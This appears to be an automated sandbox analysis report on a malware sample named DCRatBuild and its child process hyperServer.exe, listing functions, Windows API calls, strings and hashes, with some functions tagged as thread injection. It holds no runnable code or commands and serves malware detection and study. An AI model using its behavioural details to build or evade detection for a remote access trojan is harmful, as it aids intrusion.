Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: _wcslen
String ID:
API String ID: 176396367-0
Opcode ID: db3c1a38c6b9ceab7087a0da252a02ce285444af876087c47177eb2098af45f7
Instruction ID: 9dd4210cb7c95e9465419c3cb0f13c0dd889a3c64652d97da771d4902302b05f
Opcode Fuzzy Hash: db3c1a38c6b9ceab7087a0da252a02ce285444af876087c47177eb2098af45f7
Instruction Fuzzy Hash: 16418371A006695BCB51EF6C8C499DE7BB8FF01310F14412AFD49F7245DA30EE498BA5

Uniqueness

Uniqueness Score: -1.00%

Function 0089C988 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,008991E0,?,00000000,?,00000001,?,?,00000001,008991E0,?), ref: 0089C9D5
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 0089CA5E
GetStringTypeW.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00896CBE,?), ref: 0089CA70
__freea.LIBCMT ref: 0089CA79

Part of subcall function 00898E06: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0089CA2C,00000000,?,00896CBE,?,00000008,?,008991E0,?,?,?), ref: 00898E38

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 2a9f217c8c5bb2c684d010f408ed7466b51ad93675a7771cfdb9894899506375
Instruction ID: 8f59a085eaf18df4faa2a6d307506f7a622b18264fb81eac1b487d377d86505f
Opcode Fuzzy Hash: 2a9f217c8c5bb2c684d010f408ed7466b51ad93675a7771cfdb9894899506375
Instruction Fuzzy Hash: 59318EB2A0021AAFDF25EF68DC55DAE7BA5FB41310B184168FC05E6251EB36DD50CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0088A663 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0088A666
GetDeviceCaps.GDI32(00000000,00000058), ref: 0088A675
GetDeviceCaps.GDI32(00000000,0000005A), ref: 0088A683
ReleaseDC.USER32(00000000,00000000), ref: 0088A691

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 8ed4e452d337d547f43a80e6c56f2d39acb8de68f206e69e52d55524cdcd32e0
Instruction ID: 95c89a478d0c9c3ca0462476e7b60ec268fc07f9dc22c50a03d0ef8f5115047b
Opcode Fuzzy Hash: 8ed4e452d337d547f43a80e6c56f2d39acb8de68f206e69e52d55524cdcd32e0
Instruction Fuzzy Hash: 83E0EC31983B21E7D3615B60AC0DB8A3F58BB15B52F050322FA05A61D0DB648A008BE6

Uniqueness

Uniqueness Score: -1.00%

Function 0088A80C Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 237COMMON

Download Yara Rule

APIs

Part of subcall function 0088A699: GetDC.USER32(00000000), ref: 0088A69D
Part of subcall function 0088A699: GetDeviceCaps.GDI32(00000000,0000000C), ref: 0088A6A8
Part of subcall function 0088A699: ReleaseDC.USER32(00000000,00000000), ref: 0088A6B3

GetObjectW.GDI32(?,00000018,?), ref: 0088A83C

Part of subcall function 0088AAC9: GetDC.USER32(00000000), ref: 0088AAD2
Part of subcall function 0088AAC9: GetObjectW.GDI32(?,00000018,?), ref: 0088AB01
Part of subcall function 0088AAC9: ReleaseDC.USER32(00000000,?), ref: 0088AB99

Strings

(, xrefs: 0088A9AA

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: ObjectRelease$CapsDevice
String ID: (
API String ID: 1061551593-3887548279
Opcode ID: a61c3114b9dfc8fb43b17047fb51cd919d8fb1951a7c7766ce87e238eb856cf5
Instruction ID: 7b7fb20ff2d9baa34eee8b76cec878303fd0ca404c126af6bce2ae4e038d6c23
Opcode Fuzzy Hash: a61c3114b9dfc8fb43b17047fb51cd919d8fb1951a7c7766ce87e238eb856cf5
Instruction Fuzzy Hash: A291F171608755AFE714EF25C844A2BBBE9FFC9701F00491EF59AD3260DB30A946CB62

Uniqueness

Uniqueness Score: -1.00%

Function 008775DE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137timeCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 008775E3

Part of subcall function 008805DA: _wcslen.LIBCMT ref: 008805E0

Part of subcall function 0087A56D: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 0087A598

SetFileTime.KERNEL32(?,?,?,?,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 0087777F

Part of subcall function 0087A4ED: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,0087A325,?,?,?,0087A175,?,00000001,00000000,?,?), ref: 0087A501
Part of subcall function 0087A4ED: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,0087A325,?,?,?,0087A175,?,00000001,00000000,?,?), ref: 0087A532

Strings

:, xrefs: 00877654

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: File$Attributes$CloseFindH_prologTime_wcslen
String ID: :
API String ID: 3226429890-336475711
Opcode ID: 1297ff702960c4b9df01b8c835e486a36512e225b0873e9389a86a96f4f9f21c
Instruction ID: 4cae317a88fd1240361d3eed6b15277d824331f3ef88a4797f5f9d7ec8d01b14
Opcode Fuzzy Hash: 1297ff702960c4b9df01b8c835e486a36512e225b0873e9389a86a96f4f9f21c
Instruction Fuzzy Hash: F2416071805558A9EB25EB68CC95EEEB378FF51300F008096B64DE2096DB749F88CF72

Uniqueness

Uniqueness Score: -1.00%

Function 0088B48E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0088B4E3
_wcslen.LIBCMT ref: 0088B4FE

Strings

}, xrefs: 0088B4D6

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: _wcslen
String ID: }
API String ID: 176396367-4239843852
Opcode ID: 6a6b6eed76b13903f88f82001d29f9bbb47deb71960a2898ded04aa408362257
Instruction ID: 0fc3d33bfb6d21bb720b4266fe7ca1dc4d47c5353a9169c7a004410a835f4854
Opcode Fuzzy Hash: 6a6b6eed76b13903f88f82001d29f9bbb47deb71960a2898ded04aa408362257
Instruction Fuzzy Hash: 6421AE7290470A5ADB32FAA8D845E6EB7ECFFD1754F14042AF680C7241EB65DD4883A3

Uniqueness

Uniqueness Score: -1.00%

Function 0087F344 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 0087F2C5: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 0087F2E4
Part of subcall function 0087F2C5: GetProcAddress.KERNEL32(008B81C8,CryptUnprotectMemory), ref: 0087F2F4

GetCurrentProcessId.KERNEL32(?,?,?,0087F33E), ref: 0087F3D2

Strings

CryptProtectMemory failed, xrefs: 0087F389
CryptUnprotectMemory failed, xrefs: 0087F3CA

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AddressProc$CurrentProcess
String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
API String ID: 2190909847-396321323
Opcode ID: 928e325fe803da615061c67eca796f671cc7f538c351e53c2d051db449e00114
Instruction ID: 86ff0074c199e9c139bee5ef2331937b98e0f5d55864e00830d075962ee5bed2
Opcode Fuzzy Hash: 928e325fe803da615061c67eca796f671cc7f538c351e53c2d051db449e00114
Instruction Fuzzy Hash: A6110631605629ABEF115F3ADC45A6E3758FF01760F00C126FD09DB35ADA75DE018B91

Uniqueness

Uniqueness Score: -1.00%

Function 0087B991 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0087B9B8

Part of subcall function 00874092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 008740A5

Strings

%c:\, xrefs: 0087B9AE

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: __vswprintf_c_l_swprintf
String ID: %c:\
API String ID: 1543624204-3142399695
Opcode ID: 6c8c7635cfff328392421337db5b870eb32f37a344c3d2e0dd7a50da8e4619e0
Instruction ID: ba65d6c135930e68370a6dd378aee7c0c50e836113c285e79780b8e3a4a13ffe
Opcode Fuzzy Hash: 6c8c7635cfff328392421337db5b870eb32f37a344c3d2e0dd7a50da8e4619e0
Instruction Fuzzy Hash: F101F563500321799A30BB798C86F6BF7ADFF92770B44C41AF558D6086FB20D85082B2

Uniqueness

Uniqueness Score: -1.00%

Function 0088101F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00010000,00881160,?,00000000,00000000), ref: 00881043
SetThreadPriority.KERNEL32(?,00000000), ref: 0088108A

Part of subcall function 00876C36: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00876C54

Strings

CreateThread failed, xrefs: 0088104F

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: Thread$CreatePriority__vswprintf_c_l
String ID: CreateThread failed
API String ID: 2655393344-3849766595
Opcode ID: 804a87263c23751c253d03617c93396af73015deeec1ca6f3187304a5b60704f
Instruction ID: 37c46fc8d18a8b0b98a1bd0db86b9619e50ee552d15b188dadba79ad020052e2
Opcode Fuzzy Hash: 804a87263c23751c253d03617c93396af73015deeec1ca6f3187304a5b60704f
Instruction Fuzzy Hash: 0501DB75344B096FEB317E68AC59B76735CFB80751F20002EF646D6384DFA1AC868725

Uniqueness

Uniqueness Score: -1.00%

Function 00871316 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 0087E2E8: _swprintf.LIBCMT ref: 0087E30E
Part of subcall function 0087E2E8: _strlen.LIBCMT ref: 0087E32F
Part of subcall function 0087E2E8: SetDlgItemTextW.USER32(?,008AE274,?), ref: 0087E38F
Part of subcall function 0087E2E8: GetWindowRect.USER32(?,?), ref: 0087E3C9
Part of subcall function 0087E2E8: GetClientRect.USER32(?,?), ref: 0087E3D5

GetDlgItem.USER32(00000000,00003021), ref: 0087135A
SetWindowTextW.USER32(00000000,008A35F4), ref: 00871370

Strings

0, xrefs: 00871319

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: ItemRectTextWindow$Client_strlen_swprintf
String ID: 0
API String ID: 2622349952-4108050209
Opcode ID: a88026ad12318bab95362ca37eeabcb00737f51ad63672eca3830abf98db9b4a
Instruction ID: 4dd3a8bfd1d7fc5a786988a880afb358853020a78ee5aed4281671041186a267
Opcode Fuzzy Hash: a88026ad12318bab95362ca37eeabcb00737f51ad63672eca3830abf98db9b4a
Instruction Fuzzy Hash: CBF08C30144289AADF151F68884EAEA3B68FB04344F04C216FD4CD4EA9CB78CA94AB20

Uniqueness

Uniqueness Score: -1.00%

Function 00880FE4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,00881206,?), ref: 00880FEA
GetLastError.KERNEL32(?), ref: 00880FF6

Part of subcall function 00876C36: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00876C54

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00880FFF

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: ErrorLastObjectSingleWait__vswprintf_c_l
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1091760877-2248577382
Opcode ID: ed1358f04fec59e82616da36f040c6aa43b5b63d391ddc356f7e6a9f6ad98490
Instruction ID: 3d8f561303748469054051154bcdca3069e87828f38ca1b2ba81802ddb6000bc
Opcode Fuzzy Hash: ed1358f04fec59e82616da36f040c6aa43b5b63d391ddc356f7e6a9f6ad98490
Instruction Fuzzy Hash: 3CD02B31508D2176DE1133285C09C6F7804FB63331F604704F13DE47E5DF1449925293

Uniqueness

Uniqueness Score: -1.00%

Function 0087E29E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,0087DA55,?), ref: 0087E2A3
FindResourceW.KERNEL32(00000000,RTL,00000005,?,0087DA55,?), ref: 0087E2B1

Strings

RTL, xrefs: 0087E2AB

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: RTL
API String ID: 3537982541-834975271
Opcode ID: 95098487706c032f351210cd82a8606d8fbe7d6a055c00526357c697378b710d
Instruction ID: 27c99e479df1bd5f1a34e69e5ca3f7e05660d1cfec786c5f7fb2a26c6c7bbd17
Opcode Fuzzy Hash: 95098487706c032f351210cd82a8606d8fbe7d6a055c00526357c697378b710d
Instruction Fuzzy Hash: 4DC08031240F2066F73017747C0EF437E98BB02B15F05044CB145EA6D1D6E5D540C7E0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: hyperServer.exePID: 7528, Parent PID: 7472COMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	75%
Signature Coverage:	0%
Total number of Nodes:	12
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD9BC906B7 Relevance: 1.7, APIs: 1, Instructions: 168
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNEL32 ref: 00007FFD9BC907B1

Memory Dump Source

Source File: 00000006.00000002.1860805455.00007FFD9BC80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9bc80000_hyperServer.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 64623428a98f8db49e048c00b60b4fe3d3729cbd71e05fe231519fb7f7eb1376
Instruction ID: 638939c8a3615a726805f094041f4368a62684fa2352a4928078ba75182ddec9
Opcode Fuzzy Hash: 64623428a98f8db49e048c00b60b4fe3d3729cbd71e05fe231519fb7f7eb1376
Instruction Fuzzy Hash: 68518B7090D78C8FDB56DFA8D854AE8BFF0EF56310F1441ABD049DB2A2CA359886CB11

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BC90819 Relevance: 1.6, APIs: 1, Instructions: 143
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNEL32 ref: 00007FFD9BC908F1

Memory Dump Source

Source File: 00000006.00000002.1860805455.00007FFD9BC80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9bc80000_hyperServer.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: d0e2cd96b4b0362ae337f2277b746591ac7d468b399beee524c195d0e2d494f1
Instruction ID: b8b3a7f28be0ec2c79aff37e4111293127a8b64eb041acde8c446a3ab8d1dea9
Opcode Fuzzy Hash: d0e2cd96b4b0362ae337f2277b746591ac7d468b399beee524c195d0e2d494f1
Instruction Fuzzy Hash: 57414C30E0865C8FDB59DFA8D894BEDBBF0EF5A310F1441AAD049E7292DA749885CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BC8EEDD Relevance: 1.6, APIs: 1, Instructions: 142
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SuspendThread.KERNEL32 ref: 00007FFD9BC8EFB1

Memory Dump Source

Source File: 00000006.00000002.1860805455.00007FFD9BC80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9bc80000_hyperServer.jbxd

Similarity

API ID: SuspendThread
String ID:
API String ID: 3178671153-0
Opcode ID: e1f95b7ff4aa9f9146ca0d801c3123c41c24ad1c49b2d8dbb7647044434819b4
Instruction ID: 7eaf3e2026d05829e54c40d38b1d757ec5db9c3020815f1aec01488f98fc9663
Opcode Fuzzy Hash: e1f95b7ff4aa9f9146ca0d801c3123c41c24ad1c49b2d8dbb7647044434819b4
Instruction Fuzzy Hash: 2C414B70E08A5D8FDB58DFA8D894AEDBBF0FF5A310F10416AD049E7292DA30A845CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BC924EF Relevance: 1.6, APIs: 1, Instructions: 138
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNEL32 ref: 00007FFD9BC925C2

Memory Dump Source

Source File: 00000006.00000002.1860805455.00007FFD9BC80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9bc80000_hyperServer.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 1b8c46ac463e10a33c74a35ef82779daaa23895fc210511f5ec24794ffe0ad0b
Instruction ID: 4bedd5d30d21cec13d8f247f8cae2846b5070e35fe986ec2b21ae7a76b0ff7bd
Opcode Fuzzy Hash: 1b8c46ac463e10a33c74a35ef82779daaa23895fc210511f5ec24794ffe0ad0b
Instruction Fuzzy Hash: 07412970E0864C8FDB98DFA8D894BEDBBF0FB5A310F10416ED049E7252DA71A885CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C1BB998 Relevance: 1.4, Strings: 1, Instructions: 160
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 00007FFD9C1BBA12

Memory Dump Source

Source File: 00000006.00000002.1875746581.00007FFD9C1B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C1B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9c1b0000_hyperServer.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: cabcb7be8c05d55c90119feea8f83eb12573fd6c1d6c308516fad404400dcf86
Instruction ID: 487aaecb400b9e46895c9ce672fd14a973d1bdc2c1109069f0daacf29d311fe9
Opcode Fuzzy Hash: cabcb7be8c05d55c90119feea8f83eb12573fd6c1d6c308516fad404400dcf86
Instruction Fuzzy Hash: 2F515D72E0954A9FDB68DBA8C4A15FCB7B1EF58340F1041BAD01AE76CACA346941CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C1B7E50 Relevance: .7, Instructions: 693
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.1875746581.00007FFD9C1B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C1B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9c1b0000_hyperServer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9202f4d31e108de642bae740e71e8508dbcd6b40fa1a13098f946ecab11b46a
Instruction ID: ea0b156958d597573583728853d87e7199c0c30b241d4769b2d68ab4f8ac2538
Opcode Fuzzy Hash: f9202f4d31e108de642bae740e71e8508dbcd6b40fa1a13098f946ecab11b46a
Instruction Fuzzy Hash: 9F32A531B18A1A8FEBA8DB48C8A5A6873F1FF54750B1441BAD01ED7296DE34EC45CF84

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C1BDBFA Relevance: .5, Instructions: 530
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.1875746581.00007FFD9C1B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C1B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9c1b0000_hyperServer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 460864f1e00af4e915bf08e738e924e1ceb93d1d739031240689cbdc8e846fce
Instruction ID: ba9b02b96d7e891a93eccc80f7ff76e0f5802267e34e9a449232eb7ec44303d3
Opcode Fuzzy Hash: 460864f1e00af4e915bf08e738e924e1ceb93d1d739031240689cbdc8e846fce
Instruction Fuzzy Hash: 55F11663A0E6A35BF725B6ACD8F14E53FB0DF153A8B0801F7E0999A0CBDD196416C748

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C1B0C50 Relevance: .4, Instructions: 423
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.1875746581.00007FFD9C1B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C1B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9c1b0000_hyperServer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 270c2455f393def0d6b586ca2322f3e560a0b2160c564ea61ef7a69d4b8e06ae
